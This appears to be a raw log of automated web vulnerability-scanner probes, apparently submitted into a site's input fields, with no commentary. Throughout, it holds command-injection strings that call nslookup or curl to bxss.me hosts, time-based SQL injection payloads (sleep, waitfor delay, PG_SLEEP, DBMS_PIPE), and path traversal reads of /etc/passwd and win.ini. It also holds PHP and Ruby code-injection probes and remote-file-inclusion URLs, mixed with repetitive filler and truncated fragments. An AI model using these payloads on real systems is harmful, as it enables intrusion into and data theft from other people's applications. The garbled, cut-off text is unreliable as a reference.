`(nslookup -q=cname hitiamcrwtetvd6dd9.bxss.me||curl hitiamcrwtetvd6dd9.bxss.me)`
555
-
1
555
-
1
555
-
1
555
-
1
555
-
;(nslookup -q=cname hitxvyxdzbflr7520c.bxss.me||curl hitxvyxdzbflr7520c.bxss.me)|(nslookup -q=cname
555
-
1
555
-
1
555
-
|(nslookup${IFS}-q${IFS}cname${IFS}hitbnbdjcwqln7e1b3.bxss.me||curl${IFS}hitbnbdjcwqln7e1b3.bxss.me)
555
-
555
-
1
555
-
1
555
-
'"()
555
-
&(nslookup${IFS}-q${IFS}cname${IFS}hitixciecirel546ed.bxss.me||curl${IFS}hitixciecirel546ed.bxss.me)
555
-
1
555
-
1
555
-
1
555
-
1'&&sleep(27*1000)*ntlcqs&&'
555
-
1
555
-
1
555
-
1
555
-
1"&&sleep(27*1000)*hivksl&&"
555
-
1
555
-
1
555
-
1
555
-
1'||sleep(27*1000)*dtgbsb||'
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1"||sleep(27*1000)*dnizqb||"
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
-
1
555
-
1
555
-
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
-
1
555
-
1
555
-
1
555
-
1
555
-
Http://bxss.me/t/fit.txt
555
-
1
555
-
1
555
-
1
555
-
http://bxss.me/t/fit.txt%3F.jpg
555
-
1
555
-
1
555
-
1
555
-
/etc/shells
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
../../../../../../../../../../../../../../etc/shells
555
-
1
555
-
1
555
-
c:/windows/win.ini
555
-
1
555
-
1
555
-
1
555
-
bxss.me
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
../../../../../../../../../../../../../../etc/passwd
-
1
../../../../../../../../../../../../../../windows/win.ini
-
1
555
-
1
555
-
1
file:///etc/passwd
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
../555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
'.gethostbyname(lc('hitxt'.'mefojwomc2109.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(68).chr
555
-
1
555
-
1
555
-
".gethostbyname(lc("hitih"."gkwftzbd40e93.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(71).ch
555
-
gethostbyname(lc('hituw'.'exuuslfl64722.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(88).chr(
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
-
1
555
-
1
555
-
1
555
-
1
555
-
1
-
1
555
-
1
555
-
1
-
1aNG2BWhj
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
-
1
555
-
1
555
-
1
555
-
1
'"()
-
-1 OR 2+65-65-1=0+0+0+1 --
555
-
1
555
-
1
555
-
1
555
-
1
555'&&sleep(27*1000)*skbrtr&&'
-
-1 OR 2+97-97-1=0+0+0+1
555
-
1
'.gethostbyname(lc('hitty'.'yxsvspzwb5296.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(67).chr(122).chr(67).'
-
1
555
-
1
555
-
1
555"&&sleep(27*1000)*dirwhi&&"
-
1
".gethostbyname(lc("hitfa"."opfzrtbh06186.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(86).chr(107).chr(90)."
-
1
555
-
-1' OR 2+954-954-1=0+0+0+1 --
555
-
1
555
-
1
555'||sleep(27*1000)*tamrvt||'
-
1
gethostbyname(lc('hitfb'.'iyarwodi98961.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(65).chr(114).chr(66)
-
1
555
-
-1' OR 2+68-68-1=0+0+0+1 or '5Vc4YndC'='
555
-
1
555
-
1
555"||sleep(27*1000)*hlipia||"
-
1
555
-
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
-
-1" OR 2+709-709-1=0+0+0+1 --
555
-
1
555
-
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
-
1
555
-
1
echo nzieav$()\ kxpwyp\nz^xyu||a #' &echo nzieav$()\ kxpwyp\nz^xyu||a #|" &echo nzieav$()\ kxpwyp\nz^xyu||a #
-
1
Http://bxss.me/t/fit.txt
-
1
555
-
1*if(now()=sysdate(),sleep(15),0)
555
-
1
&echo hxpcgz$()\ aihnrj\nz^xyu||a #' &echo hxpcgz$()\ aihnrj\nz^xyu||a #|" &echo hxpcgz$()\ aihnrj\nz^xyu||a #
-
1
555
-
1
http://bxss.me/t/fit.txt%3F.jpg
-
1
555
-
1
555&echo ypxowr$()\ uwibed\nz^xyu||a #' &echo ypxowr$()\ uwibed\nz^xyu||a #|" &echo ypxowr$()\ uwibed\nz^xyu||a #
-
HttP://bxss.me/t/xss.html?%00
555
-
1
555
-
1
/etc/shells
-
bxss.me/t/xss.html?%00
555
-
1
|echo uggsmn$()\ ncbtoi\nz^xyu||a #' |echo uggsmn$()\ ncbtoi\nz^xyu||a #|" |echo uggsmn$()\ ncbtoi\nz^xyu||a #
-
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
555
-
1
555|echo ojfnen$()\ oxsfpv\nz^xyu||a #' |echo ojfnen$()\ oxsfpv\nz^xyu||a #|" |echo ojfnen$()\ oxsfpv\nz^xyu||a #
-
1
../../../../../../../../../../../../../../etc/shells
-
1
555
-
1
expr 9000276241 - 950154
-
1
555
-
1
555
-
1
c:/windows/win.ini
-
1
555
-
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555
-
1
(nslookup -q=cname hitdshykfuaxoa9847.bxss.me||curl hitdshykfuaxoa9847.bxss.me))
-
1
bxss.me
-
1
555
-
1
555
-
1
$(nslookup -q=cname hitxrplzwdohnc8bd8.bxss.me||curl hitxrplzwdohnc8bd8.bxss.me)
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(
555
-
1
555
-
1
&nslookup -q=cname hitulotbalphib622c.bxss.me&'\"`0&nslookup -q=cname hitulotbalphib622c.bxss.me&`'
-
1-1; waitfor delay '0:0:15' --
555
-
1
555
-
1
555
-
1
&(nslookup -q=cname hitzocagthxhdf2e09.bxss.me||curl hitzocagthxhdf2e09.bxss.me)&'\"`0&(nslookup -q=cname hitzocagthxhdf2e09.bxss.me||curl hitzocagthxhdf2e09.bxss.me)&`'
-
1-1); waitfor delay '0:0:15' --
555
-
1
555
-
1
555
-
1
555
-
1-1 waitfor delay '0:0:15' --
555
-
1
|(nslookup -q=cname hitolrhskvcma0edba.bxss.me||curl hitolrhskvcma0edba.bxss.me)
-
1
555
-
1
555
-
1
555
-
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
-
1
HttP://bxss.me/t/xss.html?%00
-
1
`(nslookup -q=cname hitrppbnoxohb9c551.bxss.me||curl hitrppbnoxohb9c551.bxss.me)`
-
1
555
-
1
555
-
1
bxss.me/t/xss.html?%00
-
1w8Ijj2gw'; waitfor delay '0:0:15' --
555
-
';print(md5(31337));$a='
555
-
"+"A".concat(70-3).concat(22*4).concat(117).concat(69).concat(99).concat(79)+(require"socket"
Socket
555
-
1
;(nslookup -q=cname hitwmomgnbqupe2442.bxss.me||curl hitwmomgnbqupe2442.bxss.me)|(nslookup -q=cname hitwmomgnbqupe2442.bxss.me||curl hitwmomgnbqupe2442.bxss.me)&(nslookup -q=cname hitwmomgnbqupe2442.b
-
1
555
-
1-1 OR 708=(SELECT 708 FROM PG_SLEEP(15))--
555
-
";print(md5(31337));$a="
555
-
'+'A'.concat(70-3).concat(22*4).concat(115).concat(90).concat(110).concat(76)+(require'socket'
Socke
555
-
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitzmorbjigjcf24d1.bxss.me||curl${IFS}hitzmorbjigjcf24d1.bxss.me)
-
1
555
-
1-1) OR 492=(SELECT 492 FROM PG_SLEEP(15))--
555
-
${@print(md5(31337))}
555
-
'A'.concat(70-3).concat(22*4).concat(106).concat(67).concat(104).concat(84)+(require'socket'
Socket.
555
-
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitfovylkgbeme7f4e.bxss.me||curl${IFS}hitfovylkgbeme7f4e.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitfovylkgbeme7f4e.bxss.me||curl${IFS}hitfovylkgbeme7f4e.bx
-
1
555
-
1-1)) OR 609=(SELECT 609 FROM PG_SLEEP(15))--
555
-
${@print(md5(31337))}\
555
-
1
555
-
1
555
-
'.print(md5(31337)).'
555
-
1
555
-
1
555
-
1
555
-
1
555
-
'"
555
-
1MvbFwcvl' OR 628=(SELECT 628 FROM PG_SLEEP(15))--
555
-
1
555
-
-
1
555
-
1w87SYvtw') OR 118=(SELECT 118 FROM PG_SLEEP(15))--
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1sYgj3eHl')) OR 75=(SELECT 75 FROM PG_SLEEP(15))--
555
-
1
555
-
1
555
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
-
1
555
-
555
-
1
555
-
1
555
-
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'????
555
-
1
555
-
1
555
-
1
555
-
1'"
555
-
555
-
1????%2527%2522\'\"
555
-
1
555
-
1
555
-
1'"()&%
555
-
@@YlHY9
555
-
1
555
-
1
555
-
1
"+"A".concat(70-3).concat(22*4).concat(98).concat(72).concat(108).concat(78)+(require"socket"
Socket.gethostbyname("hiths"+"xyjmzvemfb17b.bxss.me.")[3].to_s)+"
-
1
555
-
1
'"
-
1
555
-
1
'+'A'.concat(70-3).concat(22*4).concat(111).concat(76).concat(99).concat(85)+(require'socket'
Socket.gethostbyname('hityc'+'ldrgxjwf3db3a.bxss.me.')[3].to_s)+'
-
1
555
-
1
'"()&%
555
-
1
555
-
1
'A'.concat(70-3).concat(22*4).concat(118).concat(77).concat(120).concat(80)+(require'socket'
Socket.gethostbyname('hitsa'+'qkgauuax3571c.bxss.me.')[3].to_s)
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
19514801
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
${9999113+10000103}
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
-
1
555
-
1
555
-
1
555
-
1
555
-
1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'????
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
${9999376+10000145}
-
1
555
-
1
-
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
-
1
555
-
1
555
-
1
';print(md5(31337));$a='
-
1
555
-
1
";print(md5(31337));$a="
-
1
555
-
1
555
-
1
${@print(md5(31337))}
-
1
555
-
1
555
-
1
${@print(md5(31337))}\
-
1
555
-
1
555
-
1
'.print(md5(31337)).'
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555'"()&%
-
1
555
-
1
555
-
1
'"()&%
-
1
555
-
1
5559744918
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555zKy1msUG
-
1
555
-
1
-1 OR 2+44-44-1=0+0+0+1 --
-
1
-1 OR 2+687-687-1=0+0+0+1
-
1
-1' OR 2+641-641-1=0+0+0+1 --
-
1
-1' OR 2+210-210-1=0+0+0+1 or 'Zl5zPXOt'='
-
1
-1" OR 2+852-852-1=0+0+0+1 --
-
1
555*if(now()=sysdate(),sleep(15),0)
-
1
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
-
1
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
-
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
1
555-1); waitfor delay '0:0:15' --
-
1
555-1 waitfor delay '0:0:15' --
-
1
555RUBMUHV6'; waitfor delay '0:0:15' --
-
1
555SuZMBiKj'; waitfor delay '0:0:6' --
-
1
5552Sz4N1uK'; waitfor delay '0:0:3' --
-
1
555-1 OR 156=(SELECT 156 FROM PG_SLEEP(15))--
-
1
555-1) OR 985=(SELECT 985 FROM PG_SLEEP(15))--
-
1
555-1)) OR 322=(SELECT 322 FROM PG_SLEEP(15))--
-
1
555tCqSfhwo' OR 91=(SELECT 91 FROM PG_SLEEP(15))--
-
1
555ph6rkrlo') OR 455=(SELECT 455 FROM PG_SLEEP(15))--
-
1
555bSikjlMn')) OR 632=(SELECT 632 FROM PG_SLEEP(15))--
-
1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1
555
-
1
555'"
-
1
555????%2527%2522\'\"
-
1
@@EiuiS